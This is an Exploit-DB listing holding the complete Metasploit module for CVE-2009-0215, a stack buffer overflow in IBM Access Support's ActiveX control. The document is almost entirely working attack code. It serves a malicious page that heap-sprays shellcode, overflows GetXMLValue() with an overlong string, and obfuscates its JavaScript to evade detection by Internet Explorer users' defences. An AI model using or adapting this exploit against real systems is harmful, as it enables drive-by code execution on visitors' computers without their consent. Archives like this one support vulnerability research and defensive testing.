标题: IBM Access Support - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16517 CVE: 2009-0215 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: ibmegath_getxmlvalue.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Access Support ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IBM Access Support. When
    sending an overly long string to the GetXMLValue() method of IbmEgath.dll
    (3.20.284.0) an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2009-0215' ],
     [ 'OSVDB', '52958' ],
     [ 'BID', '34228' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Mar 24 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

  fill = rand_text_english(rand(12) + 1)

  js = %Q|
   try {
    var evil_string = "";
    var index;
    var sumthang;
    var vulnerable = new ActiveXObject('IbmEgath.IbmEgathCtl.1');
    var my_unescape = unescape;
    var shellcode = '#{shellcode}';
    #{js_heap_spray}
    sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
    for (index = 0; index < 4024; index++) {
     evil_string = evil_string + my_unescape('#{ret}');
    }
    vulnerable.RunEgatherer('#{fill}');
    var sumthang = vulnerable.GetXMLValue('#{fill}.xml', evil_string);
   } catch( e ) { window.location = 'about:blank' ; }
  |

  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => [
     'vulnerable',
     'shellcode',
     'my_unescape',
     'index',
     'evil_string',
     'sumthang',
    ]
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16517